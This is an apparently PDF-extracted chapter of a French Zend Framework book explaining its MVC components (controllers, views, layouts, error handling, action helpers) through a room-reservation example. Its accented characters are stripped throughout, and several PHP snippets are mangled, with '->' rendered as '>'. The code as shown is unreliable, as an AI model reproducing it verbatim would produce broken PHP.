Zend Framework propose sa propre implmentation de MVC. Celle-ci est pense pour tre souple et paramtrable. Le composant Zend_Controller, au cur de cette implmentation, peut tre utilis simplement avec sa configuration par dfaut ou, de manire avance, grce un systme de routage et de configuration tendu. Ce chapitre est divis en trois grandes parties : Zend_Controller utilisation simple : une introduction pratique et accessible sur ce composant central. Cette partie permettra de crer une application MVC en quelques minutes en adoptant une architecture minimale. Zend_Layout, Zend_View : de ces composants dpend toute la logique daffichage client de Zend Framework. Nous abordons ici leur fonctionnement et leurs possibilits tendues. Le modle : extraction et structuration des donnes afficher.
PRREQUIS MVC
Avant daborder ce chapitre, il est important davoir compris en thorie ce quest une architecture MVC. Lannexe E est consacre la prsentation thorique de MVC.

Enfin, le chapitre suivant est consacr lutilisation avance de Zend_Controller. Son objectif sera de vous faire comprendre le fonctionnement interne de ce composant et de vous aider en matriser toute la souplesse et les possibilits. Nous verrons entre autres lutilisation de modules, la cration de plugins et les paramtrages avancs de tous les objets au cur du modle MVC de Zend Framework.

Zend_Controller : utilisation simple


Nous vous proposons ici de mettre en place en quelques minutes une architecture MVC minimale avec Zend Framework. Ainsi, nous allons structurer notre application dans les rgles de lart.

Mettre en place larchitecture


PRATIQUE Zend Studio
Le logiciel Zend Studio For Eclipse permet de mettre sur pied un projet type, en quelques clics seulement. Vous trouverez de plus amples informations ce sujet au chapitre 14.

Avant toute chose, nous devons crer des dossiers et des fichiers de base ils sont reprsents sur la figure 6-1. Il vous suffit pour cela de crer les dossiers reprsents ainsi que les fichiers, qui, dans un premier temps, seront vides. Dans une application Zend Framework, la partie MVC est situe dans un dossier part, nomm par dfaut application. Trois sous-dossiers controllers, views et models ont des noms explicites quant leur contenu. Dans le dossier controllers, le fichier IndexController.php contient le contrleur principal de lapplication, cest- dire celui qui est appel par dfaut.

78

Groupe Eyrolles, 2008

Figure 61

Dossiers et fichiers pour une architecture MVC minimale

PERFORMANCE Bootstrap
Le bootstrap (ou fichier damorage) nest pas spcifique au Zend Framework. On le retrouve dans de nombreux projets bass sur MVC. Il est le point dentre de toute requte sollicitant la cration dune page dynamique. Cela fait aussi de lui le goulet dtranglement de lapplication ! Il est donc important de veiller la prsence de chacun des objets, de ne pas en crer dinutiles, ou encore dutiliser des caches aussi souvent que possible.

Le fichier index.phtml, dans views/index, correspond la vue du contrleur principal. En fait, il sagit de la vue de laction index (nom du fichier) du contrleur index (nom du dossier contenant). Le fichier html/index.php est ce que lon appelle un bootstrap ou fichier damorage . Cest vers ce fichier que toutes les requtes HTTP sont rediriges, mis part celles des fichiers statiques (images, CSS, JavaScript...).

Parcours dune requte HTTP


Une fois munis des dossiers et fichiers principaux, il est important de comprendre le parcours de notre requte HTTP. La figure 6-2 illustre cette opration avec un exemple de requte vers un export de rservations.

Figure 62 Appel de laction correspondant

la requte HTTP Groupe Eyrolles, 2008

79

6 Architecture MVC

Zend Framework - Bien dvelopper en PHP

T Module

Le module est une dimension supplmentaire du modle MVC propos par Zend_Controller. Reservs aux sites de taille importante, les modules sont des dossiers qui encapsulent chacun un trio Modle-Vue-Contrleur. Conceptuellement, nous pouvons assimiler les modules des soussites, inclus dans le site actuel.

Notre requte passe dabord par le contrleur frontal qui est instanci dans le bootstrap (html/index.php). Ce contrleur frontal va dterminer quel contrleur et quelle action doivent tre appels. Cest ainsi, par exemple, que le contrleur rservations est instanci et que laction exporter est appele. Techniquement, un contrleur est une classe, et laction une mthode de cette dernire. Dernire chose importante savoir : dans Zend Framework, par dfaut, le contrleur et laction appeler dpendent de lURL. Ce mcanisme est illustr par la figure 6-3.

T Routage

Cette rgle qui lie le format de lURL aux appels des actions est un comportement par dfaut dans Zend Framework. Il est possible de modifier tout ou partie de ce comportement grce aux mcanismes de routage qui seront abords plus loin dans ce chapitre. Figure 63

Appel de laction correspondant aux paramtres de lURL

la racine de lURL, le premier mot entre deux caractres / est le nom du contrleur appeler et le deuxime est le nom de laction. Lorsquon ne spcifie pas le contrleur et laction dans lURL, ils sont par dfaut nomms index et index. De cette manire, la mthode indexAction() de la classe IndexController sera automatiquement appele.

Exemple simple dutilisation de Zend_Controller


Passons maintenant au code source. Une fois les dossiers et les fichiers crs, puis le principe compris, il reste limplmentation. Voici dans un premier temps quoi ressemble linstanciation du contrleur frontal dans le bootstrap :
Contenu du bootstrap html/index.php
// Utilisation de Zend_Loader require_once 'Zend/Loader.php'; // Chargement automatique des classes Zend_Loader::registerAutoload();

80

Groupe Eyrolles, 2008

// Appel du contrleur frontal, // qui se charge de traiter la requte Zend_Controller_Front::run('../application/controllers');

Les premire et deuxime lignes correspondent simplement lappel de lautoload qui permet le chargement automatique des classes. Cest la troisime ligne qui nous intresse ici. La mthode run() de la classe Zend_Controller_Front instancie le contrleur frontal avec, comme paramtre, le chemin vers les contrleurs. Il est bien entendu possible de faire cela de manire plus minutieuse, mais nous nous limitons volontairement ici cette version minimale, par souci de clart. Voyons ensuite ce que contient le fichier IndexController.php, qui renferme le contrleur et laction :
Contenu du contrleur application/controllers/IndexController.php
// La classe correspondant au contrleur index // (contrleur par dfaut) class IndexController extends Zend_Controller_Action { // Laction index public function indexAction() {} }

RAPPEL Autoload
Lautoload est une fonctionnalit PHP aborde en annexe B. Zend_Loader est une classe encapsulant un mcanisme dautoload ; elle est dtaille dans le chapitre 4.

Toujours en version minimale, nous pouvons dduire deux informations essentielles de ce script : le contrleur est la classe IndexController. Tout contrleur Zend Framework tend la classe Zend_Controller_Action ; laction est la mthode indexAction() de la classe IndexController. Toute action Zend Framework est une mthode suffixe par le motcl Action.
index.phtml

Enfin, il nous reste voir le contenu de la vue :

views/index/

Contenu de la vue views/index/index.phtml


<p>Bonjour le monde !</p>

La vue contient simplement du code HTML. Bien sr, il pourra y avoir un peu de PHP par la suite, ce que nous verrons dans la section Zend_View. Zend Framework appelle automatiquement la vue. Si celle-ci nexiste pas, une erreur est gnre.

Groupe Eyrolles, 2008

81

6 Architecture MVC

Zend Framework - Bien dvelopper en PHP

Mettre en place le squelette de lapplication


Reprenons ici notre application de gestion de salles. Nous allons simplement crer les fichiers qui correspondent aux contrleurs et aux vues, puis les classes qui correspondent nos contrleurs. Un contrleur ReservationController sera tout particulirement important dans notre application. Il a dj t implicitement abord dans les illustrations 6-2 et 6-3 prcdentes. Cest travers ce contrleur que nous accderons aux fonctionnalits principales de notre application.

Figure 64

Squelette prvisionnel de lapplication

RENVOI MVC avanc


Par dfaut, une action est toujours lie une vue qui porte son nom. Cette politique, bien que conseille pour une organisation cohrente, nest pas une obligation. Il est possible de lier une action une ou plusieurs vues manuellement, ou aucune, en fonction des besoins. Ce sera le cas dans notre application, comme nous pouvons le voir sur la figure 6-4. Ces changements par rapport aux comportements par dfaut seront expliqus ultrieurement.

La figure 6-4 prsente les classes, actions et vues qui interviennent dans le squelette prvisionnel de notre application. Cette organisation peut changer au fur et mesure des dveloppements, mais il est intressant davoir un aperu de ce squelette afin dassurer une rpartition cohrente des fonctionnalits dans les contrleurs et les actions. Voici ce que nous pouvons dire de cette rpartition prvisionnelle : Le contrleur IndexController va grer la page daccueil gnrale de lapplication. Il comportera la page daccueil avec sa vue associe, un formulaire de contact et assurera aussi le changement de langue. Seul le changement de langue na pas besoin de vue, car nous souhaitons que cette opration se fasse sur la page courante. LoginController est responsable du traitement du formulaire didentification (login) situ en haut droite de toute page. Ce contrleur donne un exemple daction ayant plusieurs vues qui ne reprsentent pas des pages, mais seulement des blocs faisant partie du gabarit (layout) de lapplication.
Groupe Eyrolles, 2008

82

ReservationController comportera les fonctionnalits principales de lapplication de rservation. Il permettra laccs aux fonctionnalits de lecture et ddition des rservations. Laction list est lie une fonctionnalit spciale appele ContextSwitch que nous aborderons plus tard et qui permet de slectionner une vue parmi plusieurs en fonction dun contexte (HTML, RSS...). ErrorController est appel automatiquement lorsquune exception est leve dans le modle MVC. Nous aborderons ce contrleur spcial plus loin. Enfin, WebserviceController sera spcialement ddi aux services web et aux flux. Ces mcanismes ne ncessitent pas de vue, comme nous le verrons dans le chapitre 12 consacr aux services web.

Code du squelette
Le contenu de chaque contrleur est bas sur le mme principe : une classe qui reprsente le contrleur et des mthodes qui correspondent aux actions, comme nous lavons vu prcdemment. Voici un exemple de squelette pour le contrleur ReservationController :
Squelette de ReservationController
class ReservationController extends Zend_Controller_Action { // fait appel la vue reservation/index.phtml public function indexAction() { } // fait appel aux vues reservation/list.*.phtml // (contextswitch) public function listAction() { } // fait appel la vue reservation/edit.phtml public function editAction() { } // ne fait appel aucune vue, appelle la page prcdente public function deleteAction() { } // fait appel la vue reservation/export.phtml public function exportAction() { } }

Groupe Eyrolles, 2008

83

6 Architecture MVC

Zend Framework - Bien dvelopper en PHP

Les vues sont situes comme prvu dans le dossier views/scripts. Toute vue doit comporter lextension *.phtml. Dans un premier temps, nos fichiers de vues seront vides. Il est nanmoins ncessaire de les crer, sinon une erreur sera signale.

Attribuer des paramtres la vue


Revenons notre apprentissage de limplmentation MVC propose par Zend Framework. Comme nous venons de le voir, par dfaut, un contrleur est li une vue. Lemplacement de la vue dpend du contrleur et de laction sollicits. Par exemple, lappel de laction ReservationController::listAction() est li la vue views/scripts/ controller/list.phtml. Il est possible dattribuer des paramtres la vue depuis le contrleur. Cette opration est trs courante (cest le rle thorique des contrleurs), car elle permet dafficher toutes les informations dynamiques telles que le contenu de la base de donnes. Pour reprendre notre exemple simple, nous allons juste attribuer un paramtre $title la vue depuis notre contrleur :
Attribution dun paramtre dynamique la vue (mthode 1)
class IndexController extends Zend_Controller_Action { public function indexAction() { $this->view->assign('title', 'Bonjour le monde'); } }

T Mthodes magiques

Les mthodes magiques ont des noms prdfinis qui commencent par deux traits de soulignement __ . Elles proposent des automatismes spcifiques limplmentation objet de PHP 5. Vous trouverez des informations dtailles sur les mthodes magiques dans l'annexe C consacre la POO.

Voici au passage une autre manire de dclarer le paramtre $title en utilisant les mthodes magiques internes Zend_View. Cette mthode est la plus utilise.
Attribution dun paramtre dynamique la vue (mthode 2)
class IndexController extends Zend_Controller_Action { public function indexAction() { $this->view->title = 'Bonjour le monde'; } }

Laffichage du contenu de ce paramtre dans la vue est simple. Il ny a quune seule chose comprendre : la vue est situe dans lobjet 84
Groupe Eyrolles, 2008

$this->view $this

de notre contrleur. En dautres termes, la variable spciale dans la vue correspond $this->view dans le contrleur (agrgation). Il est alors ais de rcuprer le titre pour lafficher :

Affichage du paramtre title dans la vue


<p><?php echo $this->title; ?> !</p>

Toute attribution de paramtre se fait de cette manire. Cette mthode permet entre autres de filtrer et disoler tous les paramtres qui sont passs la vue.

Manipulation des donnes HTTP


Laccs direct aux variables superglobales du type $_POST, $_GET, ainsi que lappel direct de fonctions telles que header(), sont dconseills avec Zend Framework. Les contrleurs daction disposent de mthodes getRequest() et getResponse() qui permettent un accs des objets Request et Response. Passer par ces objets permet, en thorie, dliminer les alas du langage (configuration et volutions au fil des nouvelles versions).

Figure 65

Accs aux objets Request et Response de Zend Framework

La requte et la rponse dont il est question ici font rfrence au visiteur (client HTTP). Il est important de prendre cela en compte de manire ne pas les confondre. La figure 6-5 illustre la manire dont on accde ces objets et ce quoi ils correspondent :

Groupe Eyrolles, 2008

85

6 Architecture MVC

Zend Framework - Bien dvelopper en PHP

donne accs lobjet Zend_Controller_Request_Http qui contient : les paramtres HTTP de formulaires ou de barres dadresse $_POST et $_GET, mais aussi $_COOKIE, $_SERVER et $_ENV ; les noms du module, du contrleur et de laction courante. getResponse() donne accs lobjet Zend_Controller_Response_Http qui contient les donnes de la rponse HTTP : les en-ttes HTTP ; le contenu de la rponse (body) ; les ventuelles exceptions rencontres lors de la construction de la rponse ; le code de la rponse et dautres informations concernant la rponse (redirection, exceptions potentiellement leves par le renderer, etc.). _getParam() est un raccourci qui permet de rcuprer des paramtres de lobjet requte. Lappel $this->getRequest->getParam() a le mme effet.
getRequest()

Ces mthodes seront largement utilises dans les pages qui comportent des formulaires et des mcanismes lis aux paramtres HTTP. Dans ce chapitre, reportez-vous aux sections Zend_Layout pour un exemple de rcupration du contrleur, et la gestion des erreurs pour un exemple avec _getParam(). Afin de se familiariser avec la requte et la rponse, voici une petite action qui effectue une copie de sauvegarde (dump) de ces deux objets :
Laction IndexController::infoAction() qui effectue le dump
/** * Dump de la requte et de la rponse */ public function infoAction() { if ($this->getInvokeArg('debug') == 1) { $this->getResponse()->setHeader('Cache-control', 'no-cache'); $this->view->setTitrePage("Contenu de request et response"); $this->view->request = $this->getRequest(); $this->view->response = $this->getResponse(); } }

Cette action, qui est traite uniquement en mode debug, ajoute un entte de rponse HTTP via getResponse->setHeader() et passe les objets Request et Response la vue. Celle-ci affiche simplement un dump de ces paramtres :

86

Groupe Eyrolles, 2008

Dump des paramtres request et response (index/info.phtml)


<div style="float: right"> <?php var_dump($this->response); ?> </div> <?php var_dump($this->request); ?>

Le rsultat de ces dumps est illustr par la figure 6-6.

Figure 66 Dump des objets Request et Response

Initialisation et postdispatch
Il est possible de factoriser des traitements communs effectus en dbut ou en fin de plusieurs actions grce aux mthodes dinitialisation et de post-dispatching : la mthode init() est appele la construction du contrleur daction ; la mthode preDispatch() est appele avant chaque action ; la mthodepostDispatch() est appele aprs chaque action.
Groupe Eyrolles, 2008

87

6 Architecture MVC

Zend Framework - Bien dvelopper en PHP

Nous pouvons utiliser la mthode init(), par exemple, dans le contrleur ReservationController, afin de dclarer un titre par dfaut :
Dclaration dun titre par dfaut dans la mthode spciale init()
class ReservationController extends Zend_Controller_Action { public function init() { $this->view->setTitrePage("Rservation des salles"); } }

Comme nous pouvons le voir, on peut dvelopper dans la mthode init() de la mme manire que dans nimporte quelle action. Laccs la vue est possible, de mme bien sr qu getRequest(), getResponse(), et tout autre objet de notre contrleur. Un exemple avec postDispatch() est illustr dans le chapitre des services web. Celui-ci explique comment faire appel au mcanisme de chargement du service demand de manire similaire pour chaque type de traitement RSS, SOAP ou REST.

Zend_Layout : crer un gabarit de page


Il est courant que chaque page comporte des parties communes, telles que len-tte et le pied de page, le menu et les styles CSS. Zend_Layout va nous permettre de crer un gabarit qui nous vitera de dupliquer du code HTML dune vue lautre. Pour simplifier notre apprentissage, considrons que lapplication ne comporte quun seul gabarit de page. Mais que cela ne nous limite pas dans labsolu, il est bien sr possible davoir plusieurs gabarits utiliss sparment ou en mme temps. La figure 6-7 illustre la composition du gabarit de toute page HTML lie notre application. Ce gabarit est compos de cinq parties principales : les paramtres, situs dans la balise <head> de la page ; len-tte (header) de la page, comportant le titre et le formulaire de login ; le sous-menu, lorsque celui-ci est actif, ce qui sera le cas dans le contrleur ReservationControllerpour afficher des liens vers les pages correspondant aux actions ;

88

Groupe Eyrolles, 2008

Figure 67

Composition de notre gabarit de page (Zend_Layout)

le contenu de la page (body), comprenant les donnes gnres par la vue du contrleur ; le pied de page (footer), qui contiendra simplement une information de type copyright et des liens pour la gestion des langues.

Appel et contenu du gabarit principal


Avant de crer le contenu du gabarit principal, il faut indiquer au processus MVC que nous allons utiliser des gabarits. On ralise cela dans le bootstrap de lapplication, comme le montre le code suivant :
Dclaration du layout dans le bootstrap
Zend_Layout::startMvc(array('layoutPath' => $appPath . '/views/ layouts'));
T Boucle de dispatching

La boucle de dispatching est un processus interne au modle MVC. Cest une boucle while qui tourne tant quil reste des actions traiter dans le systme. Elle est dtaille dans la partie MVC avanc (chapitre 7).

Ce code a pour effet de lancer le mcanisme de gnration du gabarit et de prciser le chemin contenant les gabarits. Dans notre cas, ce fichier sera situ dans views/layouts. Il est possible dindiquer dautres paramtres dans cette dclaration, tel le gabarit utiliser, par exemple. Mais nous allons ici employer le nom de fichier par dfaut du gabarit principal : layout.phtml. Il nest donc pas indispensable de le prciser dans le bootstrap.

Groupe Eyrolles, 2008

89

6 Architecture MVC

Zend Framework - Bien dvelopper en PHP

Une fois la dclaration faite, nous pouvons passer ltape suivante : la cration du fichier layout.phtml. Voici ce quil doit contenir, conformment la figure 6-7 :
Fichier gabarit de page views/layouts/layout.phtml
<html> <?php echo $this->doctype("XHTML1_TRANSITIONAL"), PHP_EOL; ?> <head> <base href="http://<?php echo $_SERVER['SERVER_NAME'] X . $this->baseUrl(); ?>/" /> <?php echo $this->headMeta() ->setHttpEquiv('Content-Type', 'text/html; X charset=utf-8') ->setHttpEquiv('Content-Style-Type', 'text/css') ->setHttpEquiv('lang', 'fr') ->setHttpEquiv('imagetoolbar', 'no') ->setName('author', 'Julien Pauli - Guillaume Ponon') ->setName('generator', 'ZendFramework 1.6') ->setName('language', 'fr'); echo $this->headLink(array('rel' => 'favicon', 'type' => 'image/x-icon', 'href' => 'images/favicon.ico')); echo $this->headTitle($this->pageTitle); echo $this->headStyle()->appendStyle('@import X "css/styles.css";&apos;); echo $this->headLink()->setAlternate( X $this->link('webservice', 'rss'), X 'application/rss+xml', X $this->translate('Liste des rservations')); ?> </head> <body> <div class="container"> <div id="header"> <?php echo $this->partial('common/header.phtml', array('pageTitle' => $this->pageTitle)); ?> </div> <div id="submenu" style="display: none"> <?php echo $this->layout()->submenu; ?></div> <div id="page"><?php echo $this->layout()->content; ?> </div> <div id="footer"> <?php echo $this->partial('common/footer.phtml'); ?></div> </div> </body> </html>

Il est important de comprendre quoi servent les diffrents appels effectus dans ce gabarit, qui sont par ailleurs illustrs dans la figure 6-7 : les appels$this->head*() sont des aides permettant dcrire les donnes spcifiques contenues dans la balise <head> de lapplication. Il 90

Groupe Eyrolles, 2008

existe des mthodes head*() spcifiques diffrents types de balises : headMeta(), headLink(), headTitle(), headStyle()... ; les invocations $this->partial() font appel une sous-vue. Le contexte de la vue appele nest pas celui du gabarit, do limportance de transmettre les paramtres dynamiques, ce qui est fait ici avec le titre de la page ; $this->layout()->content affiche le contenu de la page. Cet appel est li au contenu renvoy par chaque action, par dfaut au contenu de la vue lie laction ; $this->layout()->submenu affiche le sous-menu ventuel. Celui-ci doit tre pralablement dclar dans le contrleur.

T Aide de vue

Le mcanisme des aides de vues est utile pour factoriser des petites oprations frquentes situes dans les templates (gabarits) de vues. Ces aides sont gnralement stockes dans le dossier views/helpers. Leur mcanisme est dcrit dans le chapitre 7.

En-tte et pied de page


Les deux appels $this->partial() utilisent des vues situes dans le dossier views/scripts/common. Leur contenu ne prsente pas de difficult en soi. Len-tte (header) affiche un titre ainsi que quelques liens et le pied de page (footer) un copyright avec galement quelques liens. Seul le header fait un appel un peu spcial laction index/login qui affichera par la suite le contenu du formulaire de login. Nous pouvons nous contenter de mettre ce mcanisme en commentaire pour linstant.
Contenu du haut de page common/header.phtml
<?php /* echo $this->action('index', 'login'); */ ?> <div style="float: right; padding-top: 3px"> <a href="<?php echo $this->baseUrl(); ?>"> <?php echo $this->translate("accueil"); ?> </a> | <a href="<?php echo $this->url(array(), 'contact'); ?>"> <?php echo $this->translate("nous contacter"); ?> </a> | </div> <div style="padding-top: 3px"> <?php echo $this->escape($this->pageTitle); ?> </div>

RENVOI $this->translate()
Dans le code ci-contre, une mthode spciale $this->translate() est appele. Elle permet de prendre en charge la traduction automatique dune chane de caractres. Pour linstant vous pouvez vous passer de cette mthode que nous verrons plus loin, dans le chapitre 9.

Contenu du bas de page common/footer.phtml


<a href="<?php echo $this->link('index', 'language', null, array('lang'=>'en'));?>">english</a> | <a href="<?php echo $this->link('index', 'language', null, array('lang'=>'fr'));?>">franais</a> <br /><?php echo $this->translate("&copy; 2008 notre socit tous droits rserv"); ?>

Groupe Eyrolles, 2008

91

6 Architecture MVC

Zend Framework - Bien dvelopper en PHP

Dclaration du sous-menu
seffectue dans la mthode init() de ReservationController. Elle consiste en la cration dun paramtre de vue $submenu qui sera exploit par une sous-vue consacre la gnration du menu, common/submenu.phtml. Voici le contenu de cette dclaration :
Dclaration du sous-menu dans ReservationController::init()
... // Rcupration des variables utiles $controller = $this->getRequest()->getParam('controller'); $defaultAction = $this->getFrontController()>getDefaultAction(); // cration du sous menu $this->view->submenu = array( $this->view->link($controller, $defaultAction) => X $this->view->translate('accueil'), $this->view->url(array(), 'reservations') => X $this->view->translate('lister'), $this->view->link($controller, 'edit') => X $this->view->translate('ajouter'), $this->view->link($controller, 'export') => X $this->view->translate('exporter') ); // rendu du sous-menu dans le segment 'submenu' de la rponse // Le Layout va ragir ceci. $this->renderScript('common/submenu.phtml', 'submenu'); ...

Cette

dclaration

Une fois le sous-menu dclar, il faut encore crer le fichier common/ submenu.phtml qui est lui-mme une vue (la sous-vue mentionne dans le paragraphe prcdent), et qui est donc situ dans views/scripts. Nous avons choisi le dossier common car il sagit dune vue spciale qui peut tre utilise dans plusieurs contrleurs. Voici son contenu :
Dclaration du sous-menu dans ReservationController::init()
<?php if (isset($this->submenu)) : ?> <script language="javascript"><!-document.getElementById('submenu').style.display = 'block'; // --> </script> <div id="submenu"> <ul> <?php foreach ($this->submenu as $link => $label) : ?> <li><a href="<?php echo $link; ?>"><?php echo $label; ?> </a></li>

92

Groupe Eyrolles, 2008

<?php endforeach; ?> </ul> </div> <?php endif; ?>

Ce code se contente simplement dafficher un menu depuis le tableau $this->submenu, qui fournit des couples cl/valeur correspondant respectivement aux liens et leurs libells.

Gestion par dfaut des erreurs


Nous avons vu prcdemment quil existe une action par dfaut IndexController::indexAction() qui est appele automatiquement lorsquaucun contrleur ou action nest prcis dans lURL. Sur ce mme principe, il existe une action spciale ErrorController::errorAction() qui est automatiquement sollicite lorsquune exception non intercepte survient. Cette action peut tre trs utile. Dans lapplication exemple, nous allons dvelopper les fonctionnalits suivantes : traitement des exceptions par le renvoi dun code derreur et dun contenu de page derreur adapt ; suppression du contenu de la page si une partie ou la totalit de celuici a t gnr avant lerreur ; affichage de lerreur si nous sommes en mode debug ; ajout de lerreur dans un fichier de log. Voici le code qui permet datteindre cet objectif :
Contenu de la mthode spciale ErrorController::errorAction()
// rcupration du paramtre derreur $errors = $this->_getParam('error_handler'); // analyse de la provenance de lerreur if ($errors->exception instanceof Zend_Controller_Exception) { $log = "notice"; $this->getResponse()->setHttpResponseCode(404); $this->view->setTitrePage("Page introuvable"); $this->view->message = $this->view->translate("La page que vous demandez na pu tre trouve"); } elseif ($errors->exception instanceof Zend_Db_Exception) { $log = "emerg"; $this->getResponse()->setHttpResponseCode(503); $this->view->setTitrePage("Problme de base de donnes"); $this->view->message = $this->view->translate("Un Problme de base de donnes nous empche de servir votre requte");

Groupe Eyrolles, 2008

93

6 Architecture MVC

Zend Framework - Bien dvelopper en PHP

} elseif ($errors->exception instanceof Zfbook_UserException) { $log = "user"; $this->view->setTitrePage("Vous avez commis une erreur"); $this->view->message = $this->view->translate($errors>exception->getMessage()); } else { $this->getResponse()->setHttpResponseCode(503); $log = "alert"; $this->view->setTitrePage("Erreur de lapplication"); $this->view->message = $this->view->translate("Notre site est momentanment indisponible"); } // vide le contenu de la rponse $this->_response->clearBody(); // si en mode debug if ($this->getInvokeArg('debug') == 1) { // crase le message, affiche lexception complte $this->view->message = $errors->exception; } // enregistrement de lerreur avec un niveau $log personnalis Zend_Registry::get('log')->$log($errors->exception);

RENVOI Utilisation de Zend_Log


De plus amples informations sur Zend_Log sont disponibles dans le chapitre 4. Reportez-vous y pour complter la gestion du log.

Lexception lie lerreur courante est rcupre grce lappel $this->_getParam('error_handler'). Elle est ensuite traite via linstruction switch qui, pour chaque type derreur, dtermine son niveau, le code renvoy au navigateur dans la rponse, le titre de la page derreur et le message. Les journaux derreurs sont traits par un objet log rcupr depuis le registre. Cet objet est pralablement dclar dans le bootstrap :
Dclaration de lobjet log dans le bootstrap (index.php)

$writer = new Zend_Log_Writer_Stream($appPath . $configMain->logfile) $log = new Zend_Log($writer);

Les aides daction


Laide daction est une solution lgante de factorisation du code contenu dans les actions. En dautres termes, chaque fois quune section de code est amene tre duplique dune action lautre, il est utile demployer une aide daction.

94

Groupe Eyrolles, 2008

Il existe plusieurs aides daction par dfaut, auxquelles nous pouvons ajouter les aides utilisateur. Voici la liste non exhaustive de quelques aides daction disponibles par dfaut dans Zend Framework : FlashMessenger : permet la gestion de messages persistants ; ContextSwitch : employ pour raliser un affichage personnalis dun contenu en fonction dun contexte (utilis dans listAction() dans notre application) ; Json : pour la gnration dun contenu JSON ; Redirector : gre les redirections HTTP ; Url : permet la gnration dURL de manire simple ; ViewRenderer : aide qui gre le rendu de la vue et la gestion de ce mcanisme ; AjaxContext, AutoCompletionDojo, AutoCompletionScriptaculous : simplifient les mcanismes Ajax, en particulier lautocompltion de formulaires... Les aides daction de Zend Framework sont situes dans le rpertoire Zend/Controller/Action/Helper.

Utiliser une aide daction existante


Laide daction est disponible dans nimporte quelle action via la proprit $this->_helper. En dehors des actions, notamment dans les composants, nous pouvons faire appel ces objets en utilisant la mthode statique Zend_Controller_Action_HelperBroker::getStaticHelper(). Un exemple concret est prsent dans la section suivante, Crer une aide daction utilisateur. titre dexemple, nous pouvons utiliser laide daction ViewRenderer dans la mthode dinitialisation ReservationController::init(). Nous avons fait appel, dans une section prcdente, la mthode renderScript() pour effectuer le rendu du sous-menu. Cet appel annule le rendu automatique des vues dont nous voulons pourtant bnficier dans les actions du contrleur rservation. Pour ractiver le rendu automatique des vues, nous devons invoquer laide daction ViewRenderer qui nous donne accs aux mthodes du gestionnaire de vues :
Ractivation du rendu automatique des vues dans ReservationController::init()
// par dfaut un appel render() annule le rendu automatique // restauration du rendu via le helper viewRenderer. $this->_helper->viewRenderer->setNoRender(false);

RENVOI ViewRenderer
ViewRenderer est laide daction grce laquelle on obtient une vue aprs lexcution de toute action. Sa configuration dtaille, ainsi que son fonctionnement, sont abords dans le chapitre 7, MVC avanc.

Groupe Eyrolles, 2008

95

6 Architecture MVC

Zend Framework - Bien dvelopper en PHP

Crer une aide daction utilisateur


Concrtement, les aides daction utilisateur sont situes dans les composants. Par convention, la liste des aides se trouve dans le rpertoire library/Zfbook/Controller/ActionHelpers. Il est donc ncessaire de dclarer la prsence des aides daction utilisateur dans le bootstrap :
Dclaration du rpertoire racine des aides daction
// Ajout du chemin des aides daction dans le gestionnaire // daides MVC Zend_Controller_Action_HelperBroker::addPrefix('Zfbook_Controller_ActionHelpers');

Une fois cette dclaration effectue, nous pouvons crire nos aides. Dans notre application, nous ferons souvent appel un mcanisme de redirection vers la page prcdente, avec un ventuel message, par exemple pour le changement de langue ou le traitement de certaines erreurs. Pour cela, nous allons crer une aide daction RedirectorToOrigin. Cette aide va tre place dans le fichier RedirectorToOrigin.php, dans le rpertoire contenant les aides daction. Ce fichier devra contenir une classe conforme laide daction de Zend Framework :
Laide daction RedirectorToOrigin
<?php /** * Aide daction permettant la redirection vers la page prcdente */ class Zfbook_Controller_ActionHelpers_RedirectorToOrigin extends Zend_Controller_Action_Helper_Abstract { public function direct($message = null) { // Insertion du message dans le flash messenger if (!is_null($message)) { Zend_Controller_Action_HelperBroker::getStaticHelper( X 'FlashMessenger')->addMessage($message); } // Redirection if (!isset(Zend_Registry::get('session')->requestUri)) { $gotoUrl = $this->getFrontController()->getBaseUrl(); } else { $gotoUrl = Zend_Registry::get('session')->requestUri; } Zend_Controller_Action_HelperBroker::getStaticHelper('Redirector') X ->setCode(303)->gotoUrl($gotoUrl, array("prependBase" => false));

96

Groupe Eyrolles, 2008

public function setFlashMessengerNamespace($namespace) { Zend_Controller_Action_HelperBroker::getStaticHelper('FlashMessenger') X ->setNamespace($namespace); return $this; } }

Une aide daction possde les spcificits suivantes : elle hrite de Zend_Controller_Action_Helper_Abstract ; elle dispose dune mthode direct() lie au design pattern strategy spcifique laide daction. Lorsquune aide daction est appele, la mthode direct() est automatiquement sollicite. Ici, nous utilisons deux aides par dfaut de Zend Framework : FlashMessenger et Redirector. La premire permet de rendre le message persistant, tandis que la deuxime assure la redirection. La mthode direct() est dailleurs compose de deux parties : le traitement du message et la redirection. Si aucune page prcdente nest dtecte, alors la redirection se fait sur lURL de base (accueil) de lapplication. La mthode setFlashMessengerNamespace() sert associer un espace de nom au message de manire viter tout conflit de messages. Nous verrons dans lexemple dutilisation comment appeler cette mthode. Quant la mthode LoginController::loginAction(), elle va utiliser RedirectorToOrigin pour maintenir la page courante lors dune opration didentification. Voici la manire dont nous allons utiliser notre aide daction :
Squelette de LoginController::loginAction()
/** * Identification */ public function loginAction() { // attribution du namespace dans le flashmessenger pour // le message derreur ventuel $this->_helper->redirectorToOrigin->setFlashMessengerNamespace('loginForm'); // si lidentification est OK if (/* identification OK */) { // traitements ... $this->_helper->redirectorToOrigin(); } else { $this->_helper->redirectorToOrigin('login ou mot de passe incorrect'); } }

Groupe Eyrolles, 2008

97

6 Architecture MVC

Zend Framework - Bien dvelopper en PHP

Ce script dfinit un espace de noms pour les messages de redirection de laction courante. RedirectorToOrigin est utilis sans message si lidentification a t effectue avec succs, avec un message derreur dans le cas contraire.

BONNES PRATIQUES O crire son code ?


La lecture de ce chapitre, celle de lannexe E consacre au modle MVC, ainsi quun peu de bon sens suffisent rpondre cette question. Mais quelques petits rappels ne font pas de mal au sujet de cette question combien importante. Je dois ajouter une fonctionnalit ou crer une application avec Zend Framework : o dois-je crire mon code ? La premire tape ne ncessite pas dordinateur, juste une feuille blanche ou, mieux, un tableau blanc. Elle consiste effectuer une modlisation rapide de la manire dont la fonctionnalit va tre dveloppe. Pour cela, il est important de se poser quelques questions essentielles : Quel est le but de ma fonctionnalit ? quel besoin rpond-elle ? De quelles donnes ai-je besoin ? Quelles tables, quels champs dans la base de donnes sont-ils concerns ? Quelles sont les nouvelles pages de ma fonctionnalit ? Que vontelles afficher ? De quels mcanismes vont-elles dpendre ? Que puis-je remployer? Comment puis-je isoler ces fonctionnalits rutilisables du reste du code ? Quest-ce qui, dans les contrleurs et les vues, sera redondant ? Ne disposerais-je pas dj de fonctionnalits similaires que je pourrais rutiliser ? En dfinitive, lobjectif de ces questions est de prvoir une rpartition intelligente du code dans lenvironnement Zend Framework. La question de la rutilisabilit, en 